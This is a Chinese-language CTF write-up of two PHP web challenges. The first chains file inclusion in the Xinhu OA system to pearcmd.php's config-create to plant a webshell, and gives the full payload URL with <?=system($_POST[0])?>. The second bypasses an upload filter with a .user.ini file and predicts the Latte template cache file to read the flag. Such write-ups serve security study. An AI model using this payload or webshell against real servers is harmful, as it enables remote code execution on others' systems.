1, OA?RCE
这道题算是比较难的题目了, 赛后看了大佬的题解才做出来,这道题目是在本地复现的,所以涉及到环境的配置,如果对此不感兴趣可以直接略过。
这道题的解题思路是利用文件包含漏洞包含pearcmd.php文件写入一句话木马,然后做RCE。
pearcmd.php是pear工具调用的功能文件,pear是管理php的扩展管理工具, 可以理解为php的命令行工具(与pecl类似)。pearcmd.php中有一个可以创建文件的方法为config-create, 该方法接收两个参数,第一个参数是写入文件的内容,第二个参数是写入文件的路径。
pear这个工具在docker中和PHP7.4版本之前是被默认下载的, 但是要想通过url传参的方式使用它,需要将php.ini中的register_argc_argv设置为On, 允许通过url传入命令行参数,为pear的函数方法传参,这里有个坑,就是开启register_argc_argv需要在后面加上两个On在重启Apache服务器采有效,具体原因不明。
重启Apache服务器命令:
apache2ctl restart
更多关于pear的信息请移步p神的博客:
https://tttang.com/archive/1312/
下面进入正题
进入项目首页,首先需要安装信呼,然后登陆,因为这些需要配置数据库,比较繁琐,我选择直接跳过,在config.php中将config['install']设置为true,或者利用任意文件方法调用调用instrallAction.php->saveAjax()方法(后面说),该方法会重写config文件并删除安装文件(把数据库操作删掉,不然报错)。
在webmainAction.php->loginsubscribe()首行加入
return true
,增加免验证登录,不然会被重定向到login界面。下面说一下题目路中的任意文件包含(本题重点)
View.php
可包含webmain下面的任意以Action.php结尾的文件,当然需要他的上一层目录名需要与文件名一致,比如这样的
.../index/indexAction.php
构成任意方法包含
程序倒数第二句,包含文件
$mpathname
,mpathname变量是可控的,我们跟踪一下, 在前面发现全局搜索一下displayfile,找到indexAction.php->getshtmlAction()
surl可控, 但必须以.php结尾,换言之,我们可以包含任意的以.php结尾的文件,pearcmd符合条件。
下面理一下目前的思路,使用文件的任意方法调用漏洞去调用indexAction.php->getshtmlAction(), 控制surl的值,进而控制变量mpathname的值为pearcmd.php的文件路径,然后构成文件包含,在利用pearcmd.php的config-create函数创建文件木马。
OK,开干,payload如下:
http://192.168.5.128/dvwa/vulnerabilities/fi/xihuweb/1/xinhu-master/index.php?+config-create+/&m=index&a=getshtml&surl=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL3NoYXJlL3BocC9wZWFyY21k&/<?=system($_POST[0])?>+/tmp/a.php
docker中pearcmd.php一般位于/usr/local/php/pearcmd.php,我的环境中(虚拟机)是在/usr/share/php/pearcmd.php,当然做文件包含是要传入相对路径,项目中的当前路径为webmain,所以我要传入../../../../../../../../usr/share/php/pearcmd.php,在做base64编码。
还有一点必须要说, 不能直接在浏览器中写入payload执行,因为那样特殊字符会被url编码,<?=system($_POST[0])?>
会变成%3C?=system($_POST[0])?%3E
,这样就不是一句话木马了,这里需要使用burpsuit抓包将url编码后的payload再改回来(bs不进行url编码),这样就行了。
然后在包含木马文件
/tmp/a.php
,做远程RCE就行了
2,EZupload
首先看一下源码(本地环境,目录有轻微改动)
error_reporting(0);
require 'vendor/autoload.php';
$latte = new Latte\Engine; //加载latte模板引擎
$latte->setTempDirectory('temp');
$policy = new Latte\Sandbox\SecurityPolicy;
$policy->allowMacros(['block', 'if', 'else','=']);
$policy->allowFilters($policy::ALL);
$policy->allowFunctions(['trim', 'strlen']);
$latte->setPolicy($policy);
$latte->setSandboxMode();
$latte->setAutoRefresh(false);
if(isset($_FILES['file'])){
$uploaddir = 'temp/';
$filename = basename($_FILES['file']['name']);
if(stristr($filename,'p') or stristr($filename,'h') or stristr($filename,'..')){
die('no');
}
$file_conents = file_get_contents($_FILES['file']['tmp_name']);
if(strlen($file_conents)>28 or stristr($file_conents,'<')){
die('no');
}
$uploadfile = $uploaddir . $filename;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
$message = $filename ." was successfully uploaded.";
} else {
$message = "error!";
}
$params = [
'message' => $message,
];
$latte->render('index.latte', $params);
}
else if($_GET['source']==1){
highlight_file(__FILE__);
}
else{
$latte->render('index.latte', ['message'=>'Hellow My Glzjin!']);
}
这道题是一道文件上传类型的题目, 程序中限制上传的文件名中不能包含'p'和'h'字符, 文件内容中不可包含'<'字符,所以直接上传shell文件肯定是不行了,但是却可以上传一个.usr.ini文件, 文件内容为auto_append_file="/flag"
,.usr.ini被成功上传至temp文件夹下。下面我们考虑访问/temp文件夹下的php文件,执行.usi.ini的配置。
看源码可知,该程序使用了latte模板引擎,latte引擎在渲染模板文件时会在临时文件夹下生成编译好的临时文件(渲染好变量的模板php文件),我们跟踪一下render函数,可以发现类名是由函数name);决定:
public function getTemplateClass(string $name): string
{
echo "bersion: ".self::VERSION." ";
$key = serialize([$this->getLoader()->getUniqueId($name), self::VERSION, array_keys((array) $this->functions), $this->sandboxed]);
echo "*****".'Template' . substr(md5($key), 0, 10);
return 'Template' . substr(md5($key), 0, 10);
}
其中只有版本号是不确定的, 我们可以访问
url/vendor/composer/installed.json
进行查看
再本地环境中,将版本号写死,访问一下,发现生成缓存文件
我们直接访问/temp/index.latte--936e6a94e3.php,构成文件包含